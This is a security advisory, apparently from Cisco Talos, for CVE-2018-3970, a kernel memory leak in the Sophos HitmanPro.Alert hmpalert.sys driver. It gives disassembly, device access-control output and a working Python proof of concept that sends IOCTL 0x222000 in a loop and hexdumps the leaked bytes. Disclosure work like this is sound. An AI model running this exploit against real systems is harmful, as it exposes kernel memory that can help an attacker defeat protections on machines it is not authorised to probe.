CVE-2018-3970
An exploitable memory disclosure vulnerability exists in the 0x222000 IOCTL handler functionality of Sophos HitmanPro.Alert 3.7.6.744.
A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.
Sophos HitmanPro.Alert - hmpalert.sys 3.7.6.744 - Windows 7 x86
https://www.hitmanpro.com/en-us/alert.aspx
4.0 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE-200: Information Exposure
This vulnerability can be triggered by sending IOCTL requests to the hmpalert device. Here, we show that the default access control on the device allows for any user on the system to send IOCTL requests:
accesschk.exe -q -o \Device\hmpalert
\Device\hmpalert
Type: Device
RW Everyone
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R NT AUTHORITY\RESTRICTED
Privileged memory disclosure vulnerabilities exist in the IOCTL handler for the 0x222000 control code. The vulnerable function looks like this:
Line 1 NTSTATUS __stdcall sub_975C1C00(PDEVICE_OBJECT deviceObject, PIRP Irp)
Line 2 {
Line 3 (...)
Line 4 __controlCode -= 0x222000;
Line 5 switch ( __controlCode )
Line 6 {
Line 7 case 0u:
Line 8 a1 = (struct_a1 *)Irp->AssociatedIrp.SystemBuffer;
Line 9 v72 = sub_975CAED0(a1);
Line 10 Irp->IoStatus.Information = 16;
Line 11 break;
We see that without a previous check of SystemBuffer
size, it’s passed as an argument to the sub_975CAED0
function at line 9. Analyzing sub_975CAED0
we see:
.text:975CAED0 sub_975CAED0 proc near ; CODE XREF: sub_975C1C00+424?p
.text:975CAED0
.text:975CAED0 var_4 = dword ptr -4
.text:975CAED0 buffer = dword ptr 8
.text:975CAED0
.text:975CAED0 push ebp
.text:975CAED1 mov ebp, esp
.text:975CAED3 push ecx
.text:975CAED4 cmp dword_975E6C18, 0
.text:975CAEDB jnz short loc_975CAEE6
.text:975CAEDD mov [ebp+var_4], 0
.text:975CAEE4 jmp short loc_975CAEED
.text:975CAEE6 ; ---------------------------------------------------------------------------
.text:975CAEE6
.text:975CAEE6 loc_975CAEE6: ; CODE XREF: sub_975CAED0+B?j
.text:975CAEE6 mov [ebp+var_4], 1
.text:975CAEED
.text:975CAEED loc_975CAEED: ; CODE XREF: sub_975CAED0+14?j
.text:975CAEED mov eax, [ebp+buffer]
.text:975CAEF0 mov cl, byte ptr [ebp+var_4]
.text:975CAEF3 mov [eax], cl
.text:975CAEF5 mov edx, [ebp+buffer]
.text:975CAEF8 mov al, byte_975E692B
.text:975CAEFD mov [edx+1], al
.text:975CAF00 mov ecx, [ebp+buffer]
.text:975CAF03 mov edx, dword ptr qword_975E6C20
.text:975CAF09 mov [ecx+8], edx
.text:975CAF0C mov eax, dword ptr qword_975E6C20+4
.text:975CAF11 mov [ecx+0Ch], eax
.text:975CAF14 call sub_975CAD60
.text:975CAF19 xor eax, eax
.text:975CAF1B mov esp, ebp
.text:975CAF1D pop ebp
.text:975CAF1E retn 4
.text:975CAF1E sub_975CAED0 endp
that at addresses:
975CAEF3 - 1 byte at buffer offset 0x0 is set
975CAEFD - 1 byte at buffer offset 0x1 is set
975CAF09 - 4 bytes at buffer offset 0x8 are set
975CAF11 - 4 bytes at buffer offset 0xC are set
Next, as we can see at line 10, 16 bytes are declared as a buffer size returned to usermode. Tracking what range of bytes is set inside the sub_975CAED0
function, we know that the buffer at offset range [2;7] is not initialized. Combining that fact with the buffered method used to transfer input data from the IRP request means the buffer retuned to user mode will contain five bytes of leaked kernel memory.
def leak_memory():
fileName = u'\\\\.\\hmpalert'
hFile = win32file.CreateFileW(fileName,
win32con.GENERIC_READ |win32con.GENERIC_WRITE,
0,
None,
win32con.OPEN_EXISTING, 0 , None, 0)
ioctl = 0x222000
inputBuffer = ""
outBufferLen = 16
print "Time to send IOCTL : 0x%x" % ioctl
while True:
buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
hexdump(buf)
time.sleep(1)
if __name__ == "__main__":
leak_memory()
Output:
python poc.py
Time to send IOCTL : 0x222000
00000000: 00 00 00 00 45 00 47 00 00 00 00 00 00 00 00 00 ....E.G.........
00000000: 00 00 00 00 31 00 5C 00 00 00 00 00 00 00 00 00 ....1.\.........
00000000: 00 00 00 00 75 00 72 00 00 00 00 00 00 00 00 00 ....u.r.........
(...)
00000000: 00 00 00 00 54 00 52 00 00 00 00 00 00 00 00 00 ....T.R.........
00000000: 00 00 00 00 65 00 76 00 00 00 00 00 00 00 00 00 ....e.v.........
00000000: 00 00 00 00 44 00 65 00 00 00 00 00 00 00 00 00 ....D.e.........
(...)
00000000: 00 00 00 00 44 00 65 00 00 00 00 00 00 00 00 00 ....D.e.........
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000000: 00 00 00 00 45 00 47 00 00 00 00 00 00 00 00 00 ....E.G.........
00000000: 00 00 00 00 88 81 86 85 00 00 00 00 00 00 00 00 ................
00000000: 00 00 00 00 F9 A7 EB 99 00 00 00 00 00 00 00 00 ................
(...)
00000000: 00 00 00 00 6E 00 74 00 00 00 00 00 00 00 00 00 ....n.t.........
00000000: 00 00 00 00 6E 00 74 00 00 00 00 00 00 00 00 00 ....n.t.........
00000000: 00 00 00 00 68 00 6F 00 00 00 00 00 00 00 00 00 ....h.o.........
00000000: 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................
(...)
00000000: 00 00 00 00 6E 00 74 00 00 00 00 00 00 00 00 00 ....n.t.........
00000000: 00 00 00 00 6E 00 64 00 00 00 00 00 00 00 00 00 ....n.d.........
00000000: 00 00 00 00 6E 00 74 00 00 00 00 00 00 00 00 00 ....n.t.........
2018-07-23 - Vendor Disclosure
2018-09-17 - Vendor Patched
2018-10-25 - Public Release
Marcin 'Icewall' Noga of Cisco Talos.